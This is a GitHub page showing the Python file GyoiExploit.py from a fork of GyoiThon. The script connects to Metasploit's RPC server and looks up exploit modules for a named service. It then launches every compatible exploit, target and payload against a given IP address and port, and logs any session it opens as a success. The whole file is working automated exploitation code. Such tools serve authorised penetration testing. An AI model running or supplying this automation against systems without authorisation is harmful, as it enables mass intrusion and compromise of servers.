forked from gyoisamurai/GyoiThon
-
Notifications
You must be signed in to change notification settings - Fork 12
/
Copy pathGyoiExploit.py
456 lines (396 loc) · 18.3 KB
/
GyoiExploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
#!/bin/env python
# -*- coding: utf-8 -*-
import sys
import csv
import time
import re
import docopt
import ipaddress
import configparser
import msgpack
import http.client
# Interface of Metasploit.
class Msgrpc:
def __init__(self, option=[]):
self.host = option.get('host') or "127.0.0.1"
self.port = option.get('port') or 55552
self.uri = option.get('uri') or "/api/"
self.ssl = option.get('ssl') or False
self.authenticated = False
self.token = False
self.headers = {"Content-type": "binary/message-pack"}
if self.ssl:
self.client = http.client.HTTPSConnection(self.host, self.port)
else:
self.client = http.client.HTTPConnection(self.host, self.port)
# Call RPC API.
def call(self, meth, option):
if meth != "auth.login":
if not self.authenticated:
print('MsfRPC: Not Authenticated')
exit(1)
if meth != "auth.login":
option.insert(0, self.token)
option.insert(0, meth)
params = msgpack.packb(option)
self.client.request("POST", self.uri, params, self.headers)
resp = self.client.getresponse()
return msgpack.unpackb(resp.read())
# Log in to RPC Server.
def login(self, user, password):
ret = self.call('auth.login', [user, password])
if ret.get(b'result') == b'success':
self.authenticated = True
self.token = ret.get(b'token')
return True
else:
print('MsfRPC: Authentication failed')
exit(1)
# Send Metasploit command.
def send_command(self, console_id, command, visualization, sleep=0.1):
_ = self.call('console.write', [console_id, command])
time.sleep(sleep)
ret = self.call('console.read', [console_id])
if visualization:
try:
print(ret.get(b'data').decode('utf-8'))
except Exception as e:
print("type:{0}".format(type(e)))
print("args:{0}".format(e.args))
print("{0}".format(e))
print('send_command is exception')
return ret
# Get all modules.
def get_module_list(self, module_type):
ret = {}
if module_type == 'exploit':
ret = self.call('module.exploits', [])
elif module_type == 'auxiliary':
ret = self.call('module.auxiliary', [])
elif module_type == 'post':
ret = self.call('module.post', [])
elif module_type == 'payload':
ret = self.call('module.payloads', [])
elif module_type == 'encoder':
ret = self.call('module.encoders', [])
elif module_type == 'nop':
ret = self.call('module.nops', [])
byte_list = ret[b'modules']
string_list = []
for module in byte_list:
string_list.append(module.decode('utf-8'))
return string_list
# Get module detail information.
def get_module_info(self, module_type, module_name):
return self.call('module.info', [module_type, module_name])
# Get payload that compatible module.
def get_compatible_payload_list(self, module_name):
ret = self.call('module.compatible_payloads', [module_name])
byte_list = ret[b'payloads']
string_list = []
for module in byte_list:
string_list.append(module.decode('utf-8'))
return string_list
# Get payload that compatible target.
def get_target_compatible_payload_list(self, module_name, target_num):
ret = self.call('module.target_compatible_payloads', [module_name, target_num])
byte_list = ret[b'payloads']
string_list = []
for module in byte_list:
string_list.append(module.decode('utf-8'))
return string_list
# Get module options.
def get_module_options(self, module_type, module_name):
return self.call('module.options', [module_type, module_name])
# Execute module.
def execute_module(self, module_type, module_name, options):
ret = self.call('module.execute', [module_type, module_name, options])
job_id = ret[b'job_id']
uuid = ret[b'uuid'].decode('utf-8')
return job_id, uuid
# Get job list.
def get_job_list(self):
jobs = self.call('job.list', [])
byte_list = jobs.keys()
job_list = []
for job_id in byte_list:
job_list.append(int(job_id.decode('utf-8')))
return job_list
# Get job detail information.
def get_job_info(self, job_id):
return self.call('job.info', [job_id])
# Stop job.
def stop_job(self, job_id):
return self.call('job.stop', [job_id])
# Get session list.
def get_session_list(self):
return self.call('session.list', [])
# Stop shell session.
def stop_session(self, session_id):
_ = self.call('session.stop', [str(session_id)])
# Stop meterpreter session.
def stop_meterpreter_session_kill(self, session_id):
_ = self.call('session.meterpreter_session_kill', [str(session_id)])
# Log out from RPC Server.
def logout(self):
ret = self.call('auth.logout', [self.token])
if ret.get(b'result') == b'success':
self.authenticated = False
self.token = ''
return True
else:
print('MsfRPC: Authentication failed')
exit(1)
# Disconnection.
def termination(self, console_id):
# Kill a console.
_ = self.call('console.session_kill', [console_id])
# Log out
_ = self.logout()
# Metasploit's environment.
class Metasploit:
def __init__(self):
# Display banner.
self.show_banner()
# Read config file.
config = configparser.ConfigParser()
try:
config.read('./config.ini')
except FileExistsError as err:
print('File exists error: {0}', err)
sys.exit(1)
server_host = config['GyoiExploit']['server_host']
server_port = config['GyoiExploit']['server_port']
msgrpc_user = config['GyoiExploit']['msgrpc_user']
msgrpc_password = config['GyoiExploit']['msgrpc_pass']
self.timeout = int(config['GyoiExploit']['timeout'])
self.report_path = config['GyoiReport']['report_path']
self.report_temp = config['GyoiReport']['report_temp']
# Create Metasploit's instance.
self.client = Msgrpc({'host': server_host, 'port': server_port})
self.client.login(msgrpc_user, msgrpc_password)
self.console_id = self.get_console()
# Parse.
def cutting_strings(self, pattern, target):
return re.findall(pattern, target)
# Create MSFconsole.
def get_console(self):
# Create a console.
ret = self.client.call('console.create', [])
console_id = ret.get(b'id')
ret = self.client.call('console.read', [console_id])
return console_id
# Display GyoiExploit's banner.
def show_banner(self, delay_time=2.0):
banner = """
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
██╗ ███████╗████████╗███████╗
██║ ██╔════╝╚══██╔══╝██╔════╝
██║ █████╗ ██║ ███████╗
██║ ██╔══╝ ██║ ╚════██║
███████╗███████╗ ██║ ███████║
╚══════╝╚══════╝ ╚═╝ ╚══════╝
███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗██╗██╗
██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝██║██║
█████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║ ██║██║
██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║ ╚═╝╚═╝
███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║ ██╗██╗
╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚═╝
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
"""
print(banner)
time.sleep(delay_time)
# Get exploit module list.
def get_exploit_list(self, prod_name):
module_list = []
search_cmd = 'search name:' + prod_name + ' type:exploit app:server\n'
ret = self.client.send_command(self.console_id, search_cmd, False, 3.0)
raw_module_info = ret.get(b'data').decode('utf-8')
exploit_candidate_list = self.cutting_strings(r'(exploit/.*)', raw_module_info)
for exploit in exploit_candidate_list:
raw_exploit_info = exploit.split(' ')
exploit_info = list(filter(lambda s: s != '', raw_exploit_info))
if exploit_info[2] in {'excellent', 'great', 'good'}:
module_list.append(exploit_info[0])
return module_list
# Get target list.
def get_target_list(self):
# print('-' * 50)
# print('Exploit target list..')
# print('-' * 50)
ret = self.client.send_command(self.console_id, 'show targets\n', False, 3.0)
target_info = ret.get(b'data').decode('utf-8')
target_list = self.cutting_strings(r'\s+([0-9]{1,3}).*[a-z|A-Z|0-9].*[\r\n]', target_info)
return target_list
# Set Metasploit options.
def set_options(self, target_ip, target_port, exploit, target_num, payload):
options = self.client.get_module_options('exploit', exploit)
key_list = options.keys()
option = {}
for key in key_list:
if options[key][b'required'] is True:
sub_key_list = options[key].keys()
if b'default' in sub_key_list:
option[key] = options[key][b'default']
else:
option[key] = b'0'
option[b'RHOST'] = target_ip
option[b'RPORT'] = target_port
option[b'TARGET'] = target_num
option[b'ConnectTimeout'] = self.timeout
if payload != '':
option[b'PAYLOAD'] = payload
return option
# Run exploit.
def exploit(self, target=[]):
# Get target info.
target_ip = target.get('ip')
target_port = target.get('port')
prod_name = target.get('prod_name')
report = {'ip': target_ip, 'port': target_port, 'product': prod_name, 'result': []}
# Get exploit modules link with product.
module_list = self.get_exploit_list(prod_name)
for exploit_module in module_list:
# Set exploit module.
_ = self.client.send_command(self.console_id, 'use ' + exploit_module + '\n', False, 1.0)
# Get target list.
target_list = self.get_target_list()
# Send payload to target server while changing target.
for target in target_list:
result = ''
# Get payload list link with target.
payload_list = self.client.get_target_compatible_payload_list(exploit_module, int(target))
for payload in payload_list:
# Set reporting info each payload.
local_report = {'exploit': exploit_module, 'target': target, 'payload': payload}
# Set options.
option = self.set_options(target_ip, target_port, exploit_module, target, payload)
# Run exploit.
job_id, uuid = self.client.execute_module('exploit', exploit_module, option)
# Judgement.
if uuid is not None:
# Waiting for running is finish (maximum wait time is "self.timeout (sec)".
time_count = 0
while True:
# Get job list.
job_id_list = self.client.get_job_list()
if job_id in job_id_list:
time.sleep(1)
else:
break
if self.timeout == time_count:
# Delete job.
result = 'timeout'
self.client.stop_job(str(job_id))
break
time_count += 1
# Get session list.
sessions = self.client.get_session_list()
key_list = sessions.keys()
if len(key_list) != 0:
for key in key_list:
# If session list include target exploit uuid,
# it probably succeeded exploitation.
exploit_uuid = sessions[key][b'exploit_uuid'].decode('utf-8')
if uuid == exploit_uuid:
result = 'bingo!!'
# Gather reporting items.
session_type = sessions[key][b'type'].decode('utf-8')
session_port = str(sessions[key][b'session_port'])
session_exploit = sessions[key][b'via_exploit'].decode('utf-8')
session_payload = sessions[key][b'via_payload'].decode('utf-8')
module_info = self.client.get_module_info('exploit', session_exploit)
vuln_name = module_info[b'name'].decode('utf-8')
description = module_info[b'description'].decode('utf-8')
ref_list = module_info[b'references']
reference = ''
for item in ref_list:
reference += '[' + item[0].decode('utf-8') + ']' + '@' + item[1].decode(
'utf-8') + '@@'
# Logging target information for reporting.
with open(self.report_temp, 'a') as fout:
bingo = [target_ip,
session_port,
prod_name,
vuln_name,
session_type,
description,
session_exploit,
target,
session_payload,
reference]
writer = csv.writer(fout)
writer.writerow(bingo)
# Disconnect all session for next exploit.
self.client.stop_session(key)
self.client.stop_meterpreter_session_kill(key)
break
else:
# If session list doesn't target exploit uuid,
# it failed exploitation.
result = 'failure'
else:
# If session list is empty, it failed exploitation.
result = 'failure'
else:
# Time out.
result = 'timeout'
# Output result to console.
print('[*] {0}, target: {1}, payload: {2}, result: {3}'
.format(exploit_module, target, payload, result))
return report
# Define command option.
__doc__ = """{f}
Usage:
{f} (-t <ip_addr> | --target <ip_addr>) (-p <port> | --port <port>) (-s <service> | --service <service>)
{f} -h | --help
Options:
-t --target Require : IP address of target server.
-p --port Require : Port number of target server.
-s --service Require : Service name (product name).
-h --help Optional : Show this screen and exit.
""".format(f=__file__)
# Parse command arguments.
def command_parse():
args = docopt.docopt(__doc__)
ip_addr = args['<ip_addr>']
port = args['<port>']
service = args['<service>']
return ip_addr, port, service
# Check IP address format.
def is_valid_ip(ip_addr):
try:
ipaddress.ip_address(ip_addr)
return True
except ValueError:
return False
# Check argument values.
def check_arg_value(ip_addr, port, service):
# Check IP address.
if is_valid_ip(ip_addr) is False:
print('[*] Invalid IP address: {0}'.format(ip_addr))
return False
# Check port number.
if port.isdigit() is False:
print('[*] Invalid port number: {0}'.format(port))
return False
elif (int(port) < 1) or (int(port) > 65535):
print('[*] Invalid port number: {0}'.format(port))
return False
# Check service name.
if isinstance(service, str) is False and isinstance(service, int) is False:
print('[*] Invalid vhost: {0}'.format(service))
return False
return True
if __name__ == '__main__':
# Get command arguments.
ip_addr, port, service = command_parse()
# Check argument values.
if check_arg_value(ip_addr, port, service) is False:
print('[*] Invalid argument.')
sys.exit(1)
# Run exploit.
env = Metasploit()
report = env.exploit({'ip': ip_addr, 'port': int(port), 'prod_name': service})
env.client.termination(env.console_id)
print('finish!!')